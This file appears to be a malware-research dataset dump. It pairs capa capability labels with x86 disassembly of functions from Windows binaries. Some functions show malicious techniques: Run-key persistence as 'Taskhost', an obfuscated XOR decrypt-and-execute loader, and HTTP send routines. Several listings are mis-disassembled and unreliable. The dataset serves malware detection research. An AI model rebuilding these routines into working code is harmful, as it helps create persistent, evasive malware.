joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4725e2
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
cmp byte [ecx + 0x30], 0
je 0x4725f1
pop ebp
jmp fcn.004726b2
pop ebp
jmp fcn.004725f7

Function at 0x472990
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp byte [esi + 0xd0], 0
je 0x4729cd
cmp byte [ebp + 8], 0
je 0x4729cd
sub esp, 0x10
lea ecx, [esi + 0xd4]
call fcn.00471a2e
push esi
push 0
push 0x472a60
call fcn.00425efc
xor eax, eax
add esp, 0xc
cmp dword [esi + 0x18], eax
sete al
jmp 0x4729d5
push dword [ebp + 8]
call fcn.00471c02
pop esi
pop ebp
ret 4

Function at 0x47a95d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
inc esp
and al, 0x20
inc eax
mov ch, 0xf7
invalid
movsx eax, word [eax + 0xa]
push eax
je 0x47a96b
push 0x18708bae
mov esp, dword [ebp + 0xdd68]
add bl, ch
sahf
mov edi, dword [eax + 4]
call fcn.0040d89a
cmp byte [esi + 8], dh
mov ecx, edi
stc
fnstenv [eax]
lea eax, [ebp + 0x56]
push edi
mov edx, dword [ecx]
inc edx
mov dword [ecx], edx
mov eax, dword [eax + edx*4]
cmp word [eax + 8], 0x7f
je 0x47a9a8
push 0xdd
jmp 0x47a910
movsx eax, word [eax + 0xa]
push eax
push 0x72
mov ecx, ebx
call fcn.0046a0ca
jmp 0x40aa72
add esp, 0x10
lea esi, [ebx - 0x74e776a4]
mov ecx, ecx
xor eax, eax
cmp dword [esi], ecx
sete al
inc esp
mov ecx, ebx
dec ebp
test eax, eax
je 0x47aa2a
push esp
cli
push ebp
push eax
lea ecx, [ebp - 0x34]
call 0x5641fe79
cmp dword [ebp - 0x34], 4
je 0x47a9f9
cmp dword [ebp - 0x34], 5
invalid
sub esp, 0xf0340130
invalid
retf

Function at 0x47c5f4
Capabilities:
Encode data using xor

Disassembly:
dec dword [ebp + 0x49e8dc4d]
clc
inc dword [edi + esi*4]
clc
jmp [eax + 0x1c]
adc dword [ebx + ecx*4 + 0x30ec81ec], 0x8b947901
fst dword [edi - 0x75]
xor edi, edi
mov dword [esp + 0x51], esi
push ecx
xor byte [ecx], al
jns 0x47c592
mov ebx, ecx
push edi
mov esi, dword [ebx]
dec dword [ecx + 0x51512474]
fstp qword [esp]
jle 0x47c5fa
push eax
push ebx
jnp 0x47c61e
mov dword [ebx], eax
push eax
call 0xc0301d63
mov cl, 0xf8
xor eax, eax
dec ebp
invalid

Function at 0x48e043
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
fmul dword [ecx - 0x574a80f]
movzx ebx, word [esi + 2]
add esi, 4
movzx eax, word [esi]
mov ax, word [eax]
addps xmm5, xmmword [edx + 0x5d]
pop edx
Function at 0x48e958
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push 0xfffffffffffffffe
pop eax
jmp 0x48e966
dec edx
cmp esi, dword [ebx + 0x7c]
jae 0x48e8e7
movzx eax, word [edi + esi]
movzx ecx, word [esi]
mov dword [ebp + 8], eax
cmp eax, 0xc00ff
ja 0x48e919
mov eax, dword [ebx + 0x3c]
mov ebx, dword [ebp + 8]
movzx ebx, byte [eax + ebx]
mov dword [ebp + 8], ebx
mov ebx, dword [ebp + 0xc]
mov dh, 0x1c
sbb byte [ecx + 0x5d8b085d], cl
or al, 0x81
stc
inc dword [eax]
or al, 0
cmp ecx, 0xc00ff
ja 0x48e928
mov eax, dword [ebx + 0x3c]
movzx ecx, byte [eax + ecx]
cmp dword [ebp + 8], ecx
jne 0xffd4e7f5
add esi, 2
test edx, edx
jg 0x48e8f2
jmp 0x48e95f
dec byte [ebx + 0x7fd285ff]
loop 0x48e98b
inc dword [ebp + 0x2be27fd2]
jne 0x48e95a
je 0x48e910
add al, 0x2b
xor al, 0x83
lea eax, [esi*2 + 2]
push eax
call dword [0x4a574c]
or eax, edi
pop ecx
test edi, edi
jne 0x48e9aa
push 0xfffffffffffffffa
jmp 0x48e9d5
or dword [ebx + 0x36048b79], eax
push eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebx + ecx*4]
lea ecx, [eax + ecx*2]
push ecx
push edi
call fcn.00421095
mov ecx, dword [ebp + 0x10]
add byte [ecx + 0x661c8b0c], cl
sbb al, 0x66
pop eax
Function at 0x409df4
Capabilities:
Connect to http server
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1210
call fcn.0040d5a0
push ebx
push esi
lea eax, [ebp - 0x210]
push edi
add edx, 0xe
push eax
call fcn.00405511
lea eax, [ebp - 0x210]
push eax
call fcn.00405451
xor ebx, ebx
push 0x423ec8
mov word [ebp + eax*2 - 0x212], bx
call fcn.00405451
add esp, 0xc
mov dword [ebp - 8], eax
call fcn.0040bed9
cmp dword [ebp - 8], ebx
mov esi, eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], ebx
jbe 0x409e8e
movsx ax, byte [esi]
sub ax, 2
movzx ecx, ax
mov eax, dword [ebp - 4]
push 3
xor edx, edx
pop edi
div edi
sub edx, ebx
je 0x409e7a
dec edx
je 0x409e72
dec edx
jne 0x409e80
add ecx, 0xfffe
jmp 0x409e80
add ecx, 0xfffb
jmp 0x409e80
add ecx, 0xffff
mov byte [esi], cl
inc esi
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jb 0x409e4b
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
lea eax, [ebp - 0x210]
push eax
push dword [0x4114e4]
call dword [sym.imp.WININET.dll_InternetConnectW]
cmp eax, ebx
jne 0x409eb1
xor eax, eax
jmp 0x409f26
push ebx
push 0x4400100
push ebx
push ebx
push ebx
push dword [ebp + 8]
push 0x40f0b8
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
cmp esi, ebx
je 0x409ead
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push dword [ebp - 0xc]
mov edi, eax
jmp 0x4299a2
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409fb1
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x2c
push 0x40f750
call fcn.0040d248
xor ebx, ebx
mov dword [ebp - 4], ebx
or dword [ebp - 0x1c], 0xffffffff
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [ebp - 0x20], eax
cmp edi, ebx
jl 0x40a030
cmp word [ebp - 0x1c], 0xffff
jne 0x40a030
call esi
sub eax, dword [ebp - 0x20]
cmp eax, 0x15f90
ja 0x40a04b
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push ebx
push ebx
push ebx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40a011
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x409ff2
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov eax, dword [eax + 0x427ed0]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x7c]
mov edi, eax
cmp edi, ebx
jl 0x40a04b
jmp 0x409fd3
or dword [ebp - 4], 0xffffffff
xor eax, eax
inc eax
jmp 0x40a051
or dword [ebp - 4], 0xffffffff
xor eax, eax
call fcn.0040d283
ret
Function at 0x40b346
Capabilities:
Copy file
Persist via run registry key
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1800
call fcn.0040d5a0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, 0x400
push esi
lea eax, [ebp - 0x800]
push eax
xor ebx, ebx
push ebx
call edi
push str.cmxjc48cjj.exe
lea eax, [ebp - 0x800]
call fcn.00405493
test eax, eax
pop ecx
je 0x40b3cf
push esi
lea eax, [ebp - 0x800]
push eax
push ebx
call edi
push 1
lea eax, [ebp - 0x800]
push eax
push str.Taskhost
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.004069fd
add esp, 0x14
test eax, eax
push 4
je 0x40b3b9
push ebx
push 3
jmp 0x40b3c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 6
call fcn.0040a786
add esp, 0xc
call fcn.0040b2ce
call fcn.0040aafd
test eax, eax
jne 0x40b3ca
call fcn.0040ab7c
test eax, eax
je 0x40b442
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push ebx
push 9
call fcn.0040a786
add esp, 0xc
push esi
lea eax, [ebp - 0x1800]
push eax
push ebx
call edi
lea eax, [ebp - 0x800]
push eax
call fcn.0040ac20
test eax, eax
pop ecx
je 0x40b442
push ebx
lea eax, [ebp - 0x800]
push eax
lea eax, [ebp - 0x1800]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40b442
lea eax, [ebp - 0x800]
push eax
call fcn.004077f0
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0040abd9
test eax, eax
je 0x40b49c
lea eax, [ebp - 0x800]
push eax
call fcn.0040ac20
lea eax, [ebp - 0x800]
push eax
call fcn.00407727
test eax, eax
pop ecx
pop ecx
je 0x40b487
lea eax, [ebp - 0x800]
push eax
call fcn.004077f0
test eax, eax
pop ecx
jne 0x40b43b
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
jmp 0x40b492
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 1
call fcn.0040a786
add esp, 0xc
jmp 0x40b43b
push ebx
jmp section..htext

Function at 0x40cd56
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40cd60
repz ret
jmp fcn.0040cffb
Function at 0x61b01390
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x20
mov esi, dword [ebp + 8]
test byte [0x61b03018], 8
jne 0x61b01400
test esi, esi
je 0x61b0145a
mov dword [esp + 8], 4
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call sub.kernel32.dll_HeapAlloc
sub esp, 0xc
mov ebx, eax
test eax, eax
je 0x61b01461
mov dword [eax], 1
test byte [0x61b03018], 8
jne 0x61b01430
mov dword [esi], ebx
xor eax, eax
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret 4
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], str.handle__p._n
mov dword [esp + 8], str.CreateInteractionContext
mov dword [esp + 4], 0x61b03018
mov dword [esp], 3
call fcn.61b01300
jmp 0x61b013a4
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], str.Created_context__p._n
mov dword [esp + 8], str.CreateInteractionContext
mov dword [esp + 4], 0x61b03018
mov dword [esp], 3
call fcn.61b01300
jmp 0x61b013ec
mov eax, 0x80004003
jmp 0x61b013f0
mov eax, 0x8007000e
jmp 0x61b013f0

Function at 0x61b01470
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
mov ebx, dword [ebp + 8]
test byte [0x61b03018], 8
jne 0x61b014b8
test ebx, ebx
je 0x61b014e2
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call sub.kernel32.dll_HeapFree
xor eax, eax
sub esp, 0xc
mov ebx, dword [ebp - 4]
leave
ret 4
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], str.context__p._n
mov dword [esp + 8], str.DestroyInteractionContext
mov dword [esp + 4], 0x61b03018
mov dword [esp], 3
call fcn.61b01300
jmp 0x61b01483
mov eax, 0x80070006
jmp 0x61b014ac
Function at 0x348a5388
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x348a5397
pop dword [ebp - 0x2c]
mov eax, 0x719f9393
sub eax, 0x3d153ffc
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xca82d2a9
add dword [ebp - 0x3c], 0x83cf72a2
mov dword [ebp - 0x38], 0xe8c5bedc
sub dword [ebp - 0x38], 0xb6927297
mov dword [ebp - 0x34], 0xfc2cc756
add dword [ebp - 0x34], 0x501f7cd8
mov dword [ebp - 0x30], 0x6ebc9408
add dword [ebp - 0x30], 0x91436bf8
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x477ce1a5
sub eax, 0x12f3d04d
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xcf373660
add dword [ebp - 0x3c], 0xa53b32f6
mov dword [ebp - 0x38], 0x62e261cd
add dword [ebp - 0x38], 0xde89ffa8
mov dword [ebp - 0x34], 0x24dbaee3
sub dword [ebp - 0x34], 0xc16c4277
mov dword [ebp - 0x30], 0xa467063f
add dword [ebp - 0x30], 0x5b98f9c1
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x40e41
push 0
call eax
mov ecx, 0xdbd9c51c
sub ecx, 0xdbd97865
xor edx, edx
add edx, eax
mov ebx, 0xac15790a
add ebx, 0x887736f6
add ebx, dword [ebp - 0x2c]
mov esi, 0x5c147bf5
add esi, 0x14132447
add dword [ebp - 0x14], esi
mov edi, dword [ebx]
add dword [ebp - 0x10], esi
xor edi, esi
xor dword [ebp - 0xc], 0x868b02c3
mov dword [edx], edi
xor dword [ebp - 0x28], esi
add edx, 0x105451b1
add edx, 0xefabae53
add ebx, 4
loop 0x348a54b6
add eax, 0xec7c534a
sub eax, 0xec7b2d9b
mov ebx, eax
add eax, 0x9548b23c
add eax, 0x6ab74dc9
mov ecx, 0xae8abbe8
sub ecx, 0x7a01bbe8
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x348bd622
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x34895250]
jne 0x348bdbed
ret
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x348c5630], eax
mov dword [0x348c562c], ecx
mov dword [0x348c5628], edx
mov dword [0x348c5624], ebx
mov dword [0x348c5620], esi
mov dword [0x348c561c], edi
mov word [0x348c5648], ss
mov word [0x348c563c], cs
mov word [0x348c5618], ds
mov word [0x348c5614], es
mov word [0x348c5610], fs
mov word [0x348c560c], gs
pushfd
pop dword [0x348c5640]
mov eax, dword [ebp]
mov dword [0x348c5634], eax
mov eax, dword [ebp + 4]
mov dword [0x348c5638], eax
lea eax, [ebp + 8]
mov dword [0x348c5644], eax
mov eax, dword [ebp - 0x320]
mov dword [0x348c5580], 0x10001
mov eax, dword [0x348c5638]
mov dword [0x348c5534], eax
mov dword [0x348c5528], 0xc0000409
mov dword [0x348c552c], 1
mov eax, dword [0x34895250]
mov dword [ebp - 0x328], eax
mov eax, dword [0x348c1c78]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x348c5578], eax
push 1
call sub.msvcr80.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x34895290
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x348c5578], 0
jne 0x348bdcdd
push 1
call sub.msvcr80.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401812
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401829
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x40185e
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x40185a
cmp edi, eax
jae 0x40185e
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x40184c
cmp edi, eax
jb 0x401862
xor eax, eax
jmp 0x40186b
movzx eax, word [edi]
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret

Function at 0x402ae6
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x10], 0
jne 0x402af4
push 0xd
pop eax
jmp 0x402b27
push esi
mov esi, dword [ebp + 0x10]
push edi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
lea ecx, [eax + eax]
add esi, ecx
add edi, ecx
cmp eax, 1
jne 0x402afb
mov eax, dword [ebp + 8]
push edi
push dword [ebp + 0x10]
push 7
push 0
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x402f85
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [0x43f050]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, ecx
mov ecx, dword [ebp + 8]
mov eax, dword [esi + 4]
push edi
push ecx
push dword [esi]
mov dword [ebp - 0x21c], ecx
xor edi, edi
or eax, 0x2001f
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x214], edi
mov dword [ebp - 0x210], edi
call fcn.00402f47
mov ebx, eax
cmp ebx, edi
je 0x402feb
cmp dword [ebp - 0x214], edi
je 0x402fe4
push dword [ebp - 0x214]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x403083
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x403013
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x214]
call fcn.00402f85
mov dword [ebp - 0x220], eax
cmp eax, edi
jne 0x403094
lea eax, [ebp - 0x228]
push eax
push edi
push edi
push edi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x20c]
push eax
push edi
push dword [ebp - 0x214]
mov dword [ebp - 0x218], 0x100
call ebx
test eax, eax
je 0x402ff3
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x214], edi
je 0x40305e
push dword [ebp - 0x214]
call ebx
mov dword [ebp - 0x214], edi
push dword [ebp - 0x21c]
mov dword [ebp - 0x210], edi
call fcn.00403101
mov esi, eax
cmp dword [ebp - 0x214], edi
je 0x403081
push dword [ebp - 0x214]
call ebx
mov eax, esi
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041f998
leave
ret 4
cmp dword [ebp - 0x214], edi
je 0x4030a8
push dword [ebp - 0x214]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x220]
jmp 0x403083

Function at 0x403101
Capabilities:
Delete registry key

Disassembly:
cmp byte [0x44fc08], 0
jne 0x403131
push 0x436278
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40312a
push str.RegDeleteKeyExW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x44fc0c], eax
mov byte [0x44fc08], 1
mov eax, dword [0x44fc0c]
test eax, eax
je 0x403149
push 0
push dword [esi + 4]
push dword [esp + 0xc]
push dword [esi]
call eax
jmp 0x403155
push dword [esp + 4]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
ret 4
Function at 0x404d4d
Capabilities:
Create process on windows

Disassembly:
push 4
mov eax, 0x4331d1
call fcn.0042e665
mov eax, dword [0x440f0c]
mov ecx, 0x440f0c
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
and dword [ebp - 4], 0
push 0x3e8
add eax, 4
lea ecx, [ebp - 0x10]
call fcn.0040525d
mov esi, dword [ebp - 0x10]
push 5
push 0
push 0
push esi
push str.Open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [esi - 0x10]
call fcn.00401cc5
xor eax, eax
call fcn.0042e704
ret 4

Function at 0x404f9d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebx + 0xc], 0x202
jne 0x404ff0
push esi
push edi
mov esi, eax
lea edi, [ebx + 0x18]
add esi, 0x54
push edi
call fcn.0041f208
lea eax, [ebp - 4]
push eax
call fcn.0041f22a
mov eax, dword [edi]
push edi
mov dword [ebx + 0x1c], eax
call fcn.0041f208
push 5
xor eax, eax
push eax
push eax
push dword [ebp - 4]
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [ebp - 4]
add eax, 0xfffffff0
call fcn.00401cc5
pop edi
pop esi
mov eax, dword [ebp + 8]
and dword [eax], 0
xor eax, eax
leave
ret 4

Function at 0x404ffc
Capabilities:
Check os version

Disassembly:
push ebx
push esi
lea esi, [eax + 0x6c]
mov eax, dword [eax + 4]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [esi + 8], eax
call edi
movzx ebx, al
call edi
shr eax, 8
movzx eax, al
cmp ebx, 6
ja 0x405026
jne 0x40504e
test eax, eax
jbe 0x40504e
mov eax, dword [esi]
test eax, eax
je 0x405035
and dword [esi], 0
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
push 0x4393ec
push 0x17
push 0
push 0x43446c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x405052
or dword [esi + 4], 0xffffffff
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x40525d
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
push dword [esp + 0xc]
mov esi, ecx
push dword [eax]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov ebx, eax
test ebx, ebx
je 0x4052b2
push edi
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea edi, [eax + 1]
push edi
call fcn.00401ac3
push edi
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4052a6
mov eax, dword [esi]
mov ecx, dword [eax - 8]
test eax, eax
je 0x4052a6
push ecx
push eax
call fcn.00420189
pop ecx
pop ecx
mov edx, esi
call fcn.00401ae9
mov eax, edi
pop edi
jmp 0x4052b9
call fcn.004019a8
xor eax, eax
pop esi
pop ebx
ret 4
Function at 0x4056a9
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov eax, dword [0x4403fc]
test eax, eax
je 0x4057a9
push ebx
push ebp
push esi
xor edx, edx
mov dword [0x4403fc], 0
xor eax, eax
push edi
movzx esi, byte [eax + 0x438058]
push 0x1f
pop ecx
sub ecx, esi
xor esi, esi
inc esi
shl esi, cl
or edx, esi
inc eax
cmp eax, 0xe
jl 0x4056c9
xor ecx, ecx
push 8
mov eax, ecx
pop esi
test al, 1
je 0x4056f3
shr eax, 1
xor eax, edx
jmp 0x4056f5
shr eax, 1
dec esi
jne 0x4056e9
mov dword [ecx*4 + 0x441b68], eax
inc ecx
cmp ecx, 0x100
jl 0x4056e4
mov edi, 0x442b68
mov ecx, 0xff00
mov eax, dword [edi - 0x1000]
mov esi, eax
and esi, ecx
mov ebx, eax
shl ebx, 0x10
add esi, ebx
mov edx, eax
shr edx, 8
shl esi, 8
mov ebx, edx
and ebx, ecx
add esi, ebx
mov ebx, eax
shr ebx, 0x18
add esi, ebx
mov dword [edi], esi
lea esi, [edi + 0x400]
mov dword [esp + 0x10], 3
and eax, 0xff
mov eax, dword [eax*4 + 0x441b68]
xor eax, edx
mov ebx, eax
and ebx, ecx
mov ebp, eax
shl ebp, 0x10
add ebx, ebp
mov edx, eax
shr edx, 8
shl ebx, 8
mov ebp, edx
and ebp, ecx
add ebx, ebp
mov ebp, eax
shr ebp, 0x18
add ebx, ebp
mov dword [esi - 0x1000], eax
mov dword [esi], ebx
add esi, 0x400
dec dword [esp + 0x10]
jne 0x405748
add edi, 4
cmp edi, 0x442f68
jl 0x405712
pop edi
pop esi
pop ebp
mov dword [0x4403c4], 0
pop ebx
pop ecx
ret
mov eax, dword [0x4403c4]
test eax, eax
jne 0x4057a9
pop ecx
ret
Function at 0x408350
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0x10]
mov edx, dword [eax]
push edi
xor edi, edi
and edx, 7
cmp ecx, 5
jae 0x40836c
xor eax, eax
jmp 0x408480
mov eax, dword [ebp + 8]
add dword [ebp + 0xc], 5
sub ecx, 4
add ecx, eax
push ebx
mov dword [ebp - 4], ecx
push esi
lea esi, [edi + eax]
jmp 0x40838d
mov cl, byte [esi]
and cl, 0xfe
cmp cl, 0xe8
je 0x408392
inc esi
cmp esi, dword [ebp - 4]
jb 0x408382
mov ecx, esi
sub ecx, edi
mov edi, esi
sub ecx, eax
sub edi, eax
cmp esi, dword [ebp - 4]
jae 0x40846a
cmp ecx, 2
jbe 0x4083e7
xor edx, edx
movzx ecx, byte [esi + 4]
lea ebx, [ecx + 1]
test bl, 0xfe
jne 0x408406
movzx eax, byte [esi + 3]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 1]
shl ecx, 8
or ecx, eax
mov eax, dword [ebp + 0xc]
add eax, edi
add edi, 5
cmp dword [ebp + 0x14], 0
mov ebx, ecx
je 0x408411
add ebx, eax
jmp 0x408413
shr edx, cl
test edx, edx
je 0x4083ac
cmp edx, 4
ja 0x408406
cmp edx, 3
je 0x408406
mov ecx, edx
shr ecx, 1
movzx ecx, byte [ecx + esi + 1]
inc ecx
test cl, 0xfe
jne 0x4083ac
or edx, 8
shr edx, 1
inc edi
jmp 0x40837d
sub ebx, eax
test edx, edx
je 0x408444
and edx, 6
shl edx, 2
mov ecx, edx
mov edx, ebx
shr edx, cl
mov dword [ebp - 8], ecx
inc edx
test dl, 0xfe
jne 0x408442
mov edx, 0x100
shl edx, cl
dec edx
xor ebx, edx
cmp dword [ebp + 0x14], 0
je 0x408440
add ebx, eax
jmp 0x408442
sub ebx, eax
xor edx, edx
mov eax, ebx
shr eax, 8
mov byte [esi + 2], al
mov eax, ebx
mov byte [esi + 1], bl
shr ebx, 0x18
shr eax, 0x10
and bl, 1
neg bl
mov byte [esi + 3], al
mov eax, dword [ebp + 8]
mov byte [esi + 4], bl
jmp 0x40837d
push 2
pop eax
shr edx, cl
cmp eax, ecx
mov ecx, dword [ebp + 0x10]
sbb eax, eax
not eax
and eax, edx
pop esi
mov dword [ecx], eax
mov eax, edi
pop ebx
pop edi
leave
ret

Function at 0x40bf10
Capabilities:
Hash data using sha256

Disassembly:
and dword [eax + 0x20], 0
and dword [eax + 0x24], 0
mov dword [eax], 0x6a09e667
mov dword [eax + 4], 0xbb67ae85
mov dword [eax + 8], 0x3c6ef372
mov dword [eax + 0xc], 0xa54ff53a
mov dword [eax + 0x10], 0x510e527f
mov dword [eax + 0x14], 0x9b05688c
mov dword [eax + 0x18], 0x1f83d9ab
mov dword [eax + 0x1c], 0x5be0cd19
ret

Function at 0x40ca5c
Capabilities:
Hash data using sha256

Disassembly:
push esi
mov esi, dword [ecx + 0x20]
and esi, 0x3f
push edi
mov edi, eax
mov byte [esi + ecx + 0x28], 0x80
jmp 0x40ca7c
and esi, 0x3f
jne 0x40ca77
call fcn.0040bf50
mov byte [ecx + esi + 0x28], 0
inc esi
cmp esi, 0x38
jne 0x40ca6d
mov eax, dword [ecx + 0x20]
mov edx, dword [ecx + 0x24]
shld edx, eax, 3
shl eax, 3
bswap edx
bswap eax
mov dword [ecx + 0x60], edx
mov dword [ecx + 0x64], eax
call fcn.0040bf50
xor edx, edx
mov eax, dword [ecx + edx*4 + 4]
mov esi, dword [ecx + edx*4]
bswap esi
bswap eax
mov dword [edi], esi
mov dword [edi + 4], eax
add edi, 8
inc edx
inc edx
cmp edx, 8
jb 0x40caa0
pop edi
mov eax, ecx
pop esi
jmp fcn.0040bf10
Function at 0x40cb52
Capabilities:
Hash data using sha256

Disassembly:
mov dword [eax], ecx
dec ecx
je 0x40cb72
sub ecx, 3
je 0x40cb69
sub ecx, 6
jne 0x40cb76
add eax, 0x10
jmp fcn.0040bf10
or dword [eax + 8], 0xffffffff
or dword [eax + 0xc], 0xffffffff
ret
or dword [eax + 4], 0xffffffff
ret